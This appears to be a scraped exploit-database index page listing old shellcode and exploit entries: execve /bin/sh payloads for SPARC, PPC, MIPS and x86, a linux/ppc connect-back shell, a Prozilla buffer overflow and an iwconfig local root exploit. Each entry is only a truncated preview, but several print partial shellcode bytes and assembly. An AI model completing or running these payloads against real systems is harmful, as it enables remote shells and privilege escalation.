solaris/sparc setreuid/execve 56 bytes

solaris/sparc setreuid/execve 56 bytes. Shellcode exploit for solarissparc platform / [email protected] setreuid shellcode full description of how it was done and defines at http://www.telegenetic.net/sparc-shellcode.htm / char shellcode = "\x90\x1A\x40\x09" / xor %o1, %o1, %o0 /...

linux/PPC/x86 execve("/bin/sh",{"/bin/sh",NULL},NULL) 99 bytes

Exploit for multiple platform in category shellcode ============================================================== linux/PPC/x86 execve"/bin/sh","/bin/sh",NULL,NULL 99 bytes ============================================================== / - dual-linux.c - by email protected ripped from...

linux/PPC/x86 execve"/bin/sh",{"/bin/sh",NULL},NULL 99 bytes

linux/PPC/x86 execve"/bin/sh","/bin/sh",NULL,NULL 99 bytes. Shellcode exploits for multiple platform / - dual-linux.c - by [email protected] ripped from [email protected] ^-- much , rjohnson, Kaliman, capsyl, salvia, amnesia, arcanum, eazyass, loophole, my family and so any others...

linux/PPC/x86 execve(""/bin/sh"" {""/bin/sh"" NULL} NULL) 99 bytes

No description provided by source. / - dual-linux.c - by [email protected] ripped from [email protected] ^-- much 3 brotha ; execve"/bin/sh","/bin/sh",NULL,NULL shellcode for linux both the ppc and x86 version. I thought about adding mipsel but I don't feel up to it at the moment. In fact I fee...

os-x/PPC/x86 execve"/bin/sh",{"/bin/sh",NULL},NULL 121 bytes

os-x/PPC/x86 execve"/bin/sh","/bin/sh",NULL,NULL 121 bytes. Shellcode exploits for multiple platform / - dual.c - by [email protected] execve"/bin/sh","/bin/sh",NULL,NULL shellcode for osx both the ppc and x86 version. Sample output: -nemo@squee:/shellcode$ file dual-ppc dual-ppc: Mach-O...

os-x/PPC/x86 execve(""/bin/sh"" {""/bin/sh"" NULL} NULL) 121 bytes

No description provided by source. / - dual.c - by [email protected] execve"/bin/sh","/bin/sh",NULL,NULL shellcode for osx both the ppc and x86 version. Sample output: -nemo@squee:/shellcode$ file dual-ppc dual-ppc: Mach-O executable ppc -nemo@squee:/shellcode$ ./dual-ppc sh-2.05b$ exit...

os-x/PPC/x86 execve("/bin/sh",{"/bin/sh",NULL},NULL) 121 bytes

Exploit for multiple platform in category shellcode ============================================================== os-x/PPC/x86 execve"/bin/sh","/bin/sh",NULL,NULL 121 bytes ============================================================== / - dual.c - by email protected...

linux/mips execve /bin/sh 56 bytes

Exploit for linux/mips platform in category shellcode ================================== linux/mips execve /bin/sh 56 bytes ================================== / 56 bytes execve /bin/sh shellcode - linux-mipsel - by core email protected Note: For MIPS running in little-endian mode. Tested on a...

linux/ppc - execve /bin/sh 60 bytes

linux/ppc execve /bin/sh 60 bytes. Shellcode exploit for linuxppc platform / execve-core.c by Charles Stevenson / char hellcode = / execve /bin/sh linux/ppc by core / // Sometimes you can comment out the next line if space is needed "\x7c\x3f\x0b\x78" /mr r31,r1/ "\x7c\xa5\x2a\x79" /xor. r5,r5,r5...

linux/mips - execve /bin/sh 56 bytes

linux/mips execve /bin/sh 56 bytes. Shellcode exploit for linuxmips platform / 56 bytes execve /bin/sh shellcode - linux-mipsel - by core [email protected] Note: For MIPS running in little-endian mode. Tested on a Cobalt Qube2 server running Linux 2.4.18 Greetz to bighawk... i couldn't get his exec...

linux/ppc - connect back execve /bin/sh 240 bytes

linux/ppc connect back execve /bin/sh 240 bytes. Shellcode exploit for linuxppc platform / connect-core5.c by Charles Stevenson / char hellcode = / connect back & execve /bin/sh linux/ppc by core / "\x7c\x3f\x0b\x78" /mr r31,r1/ "\x3b\x40\x01\x0e" /li r26,270/ "\x3b\x5a\xfe\xf4" /addi r26,r26,-26...

linux/ppc connect back execve /bin/sh 240 bytes

Exploit for linux/ppc platform in category shellcode =============================================== linux/ppc connect back execve /bin/sh 240 bytes =============================================== / connect-core5.c by Charles Stevenson / char hellcode = / connect back & execve /bin/sh linux/ppc b...

linux/x86 dup20,0; dup20,1; dup20,2; 15 bytes

linux/x86 dup20,0; dup20,1; dup20,2; 15 bytes. Shellcode exploit for linx86 platform / dup2loop-core.c by Charles Stevenson I made this as a chunk you can paste in to make modular remote exploits. I usually combine this with an execve as the second stage of a read jmp %esp / char hellcode = /...

Prozilla <= 1.3.7.4 (ftpsearch) Results Handling Buffer Overflow Exploit

No description provided by source. include stdio.h include string.h include stdlib.h define OVERFLOW 110+32 define SLEDSIZ 110 define RETADDR 0x806977a+SLEDSIZ/2 define OUTPUT "AdvResults.asp" / prozilla bug, found while auditing for gentoo bug 70090 [email protected] / / execve /bin/id / unsign...

Wireless Tools 26 (IWConfig) - Local Privilege Escalation

Wireless Tools 26 IWConfig - Local Privilege Escalation // if the iwconfig executable is setuid /str0ke include include include include / 45 Byte /bin/sh http://www.milw0rm.com/id.php?id=1169 https://www.exploit-db.com/exploits/1169/ / char shellcode= "\x31\xc0\x31\xdb\x50\x68\x2f\x2f"...

Wireless Tools 26 (iwconfig) Local Root Exploit (some setuid)

No description provided by source. // if the iwconfig executable is setuid /str0ke include stdio.h include string.h include unistd.h include stdlib.h / 45 Byte /bin/sh http://www.milw0rm.com/id.php?id=1169 / char shellcode= "\x31\xc0\x31\xdb\x50\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89"...

linux/x86 /bin/sh sysenter Opcode Array Payload 23 Bytes

No description provided by source. / lnxbinsh4.c - v1 - 23 Byte /bin/sh sysenter Opcode Array Payload Copyrightc 2005 c0ntex [email protected] Copyrightc 2005 BaCkSpAcE [email protected] This program is free software; you can redistribute it and/or modify it under the terms of the GNU...

linux/x86 /bin/sh sysenter Opcode Array Payload 23 Bytes

linux/x86 /bin/sh sysenter Opcode Array Payload 23 Bytes. Shellcode exploit for linx86 platform / lnxbinsh4.c - v1 - 23 Byte /bin/sh sysenter Opcode Array Payload Copyrightc 2005 c0ntex Copyrightc 2005 BaCkSpAcE This program is free software; you can redistribute it and/or modify it under the ter...

linux/x86 /bin/sh sysenter Opcode Array Payload 45 bytes

Exploit for linux/x86 platform in category shellcode ======================================================== linux/x86 /bin/sh sysenter Opcode Array Payload 45 bytes ======================================================== / lnxbinsh2.c - v1 - 45 Byte /bin/sh sysenter Opcode Array Payload...

[ Suresec Advisories ] - Linux kernel ia32 compatibility (ia64/x86-64) race condition

Suresec Security Advisory - 00004 10/07/05 Linux kernel ia32 compatibility race condition Advisory: http://www.suresec.org/advisories/adv4.pdf http://www.suresec.org/advisories/adv3.pdf Description: A race condition vulnerability has been found in the ia32 compatibility execve systemcall. The rac...